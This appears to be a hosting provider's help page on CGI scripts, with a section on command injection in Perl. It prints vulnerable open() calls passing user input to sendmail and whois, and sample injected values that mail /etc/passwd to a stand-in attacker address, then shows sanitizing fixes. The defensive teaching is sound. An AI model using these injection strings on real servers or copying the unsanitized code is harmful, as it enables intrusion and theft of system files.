|
Your
virtual web service is capable of delivering web documents.
However, if you use your web server only to deliver static
content to web visitors, you are not taking advantage
of the full potential of the virtual web service. Your
web server is able to dynamically process and deliver
content, and it can also respond to complex data sent
to the server by a visitor.
There are many mechanisms
included in the HTTP protocol that allow a browser to
send user-selected data to a server. Your virtual web
service does not directly process the data. Instead,
it passes the data to external "gateway programs"
for processing. This process is known as the Common
Gateway Interface (or CGI).
The Common Gateway Interface
allows your virtual web service to communicate with
external, completely separate programs. When a URL is
accessed that references a gateway program, the following
occurs:
- The server launches
the gateway program.
- The gateway program
processes user-supplied data.
- The gateway program
returns results to the web server.
- The server returns
the results to the browser that made the original
request.
Your virtual web service
can also process the data internally via dynamically
loaded modules (e.g. mod_perl). This is akin
to adding CGI right into the server, eliminating the
separation between server and gateway processes. Your
virtual web service is able to process user-supplied
data at greater speeds. See Chapter
6 for details on Dynamic
Apache modules.
CGI scripts can be compiled
programs written in languages such as C and C++, or
they can be written in interpreted languages such as:
- Perl
- Python
- Tcl
- UNIX shell programs
Your Virtual Server supports
the following:
- The ability to install
your own custom-developed CGI scripts
- The ability to install
CGI scripts that you have downloaded from a third
party source
CGI Security Issues
A common problem with
CGI scripts is that they can sometimes allow attackers
to execute arbitrary shell commands on your Virtual Server. Skilled attackers can utilize poorly written
CGI scripts to gain the same privileges you have at
the command prompt (such as when you Telnet or SSH to
your Virtual Server). This security problem stems from
how the scripts are written, not from the security of
the Virtual Server environment.
Check all scripts you
have authored or downloaded from a third party source.
You may unknowingly introduce security holes into your
Virtual Server environment from your CGI scripts. Look
for instances were the script opens a file handle to
an external program such as a mail executable (a common
task). When these file handles are opened using user-supplied
data, ensure that these data have been properly "sanitized."
For example, you may
have authored or installed a script which processes
user-supplied data and e-mails it to a recipient, like
the following example:
open (MAIL, "|/bin/sendmail
$user_supplied_data{'recipient'}");
print MAIL "To: $user_supplied_data{'recipient'}\n";
print MAIL "From: $user_supplied_data{'e-mail_address'}\n";
close(MAIL);
An attacker submitting
for the value of "recipient," looks something
like:
some@e-mail.address;
cat /etc/passwd | mail attacker@e-mail.address
some@e-mail.address && mail attacker@e-mail.address
< /etc/passwd
The easiest way to deny
an attack (in this example) is to eliminate user-supplied
data from the open command. The sendmail
program has a very useful flag, (-t) which, when
set, forces sendmail to read the message headers
(To:, Cc:, Bcc:) for recipients.
So instead of:
open (MAIL, "|/bin/sendmail
$user_supplied_data{'recipient'}")
use this:
open (MAIL, "|/bin/sendmail
-t")
CGI scripts are also
vulnerable when a script executes an external program.
For example, a script could perform a lookup on a user-specified
domain name's availability, as shown in the following
example:
open (WHOIS, "/bin/whois
$user_supplied_data{'domain_name'} |");
The above code is prone
to attack. The attacker could submit a bogus name for
the domain_name value as shown in the following
example:
domain.name; cat /etc/passwd
| mail attacker@e-mail.address
domain.name && mail attacker@e-mail.address
< /etc/passwd
The best way to prevent
these types of attacks is to "sanitize" user-supplied
data. Eliminate any nonessential characters. In the
example shown above, check the domain_name against
a valid character set which included letters, digits,
dashes, and periods by using just a few lines of Perl
code:
if ($user_supplied_data{'domain_name'}
=~ /[^A-Za-z0-9\.\-]/)
{print "Content-type: text/plain\n\n";
print "Uh... you entered an invalid domain name.";
exit(0);}
open (WHOIS, "/bin/whois $user_supplied_data{'domain_name'}
|");
Note: All of the
scripts in Enetrics Communications's CGI library use proper
security sanitizing methods. We cannot guarantee the
security of the scripts and programs in Enetrics Communications's
server extension index and contributed script index,
because Enetrics Communications did not create them. We have,
however, examined these scripts and corrected the problems
we found. We also closely monitor CERT advisories and
bulletins that apply to the Virtual Server system software.
Proper CGI Security
and Other Resources
Your Virtual Server services
operate in an environment completely separate of the
root system (and any other Virtual Server system hosted
on the same machine). As such, your CGI script does
not have access to any files residing on the root file
system. Your CGI scripts only have access to those files
that are located in your home directory hierarchy.
|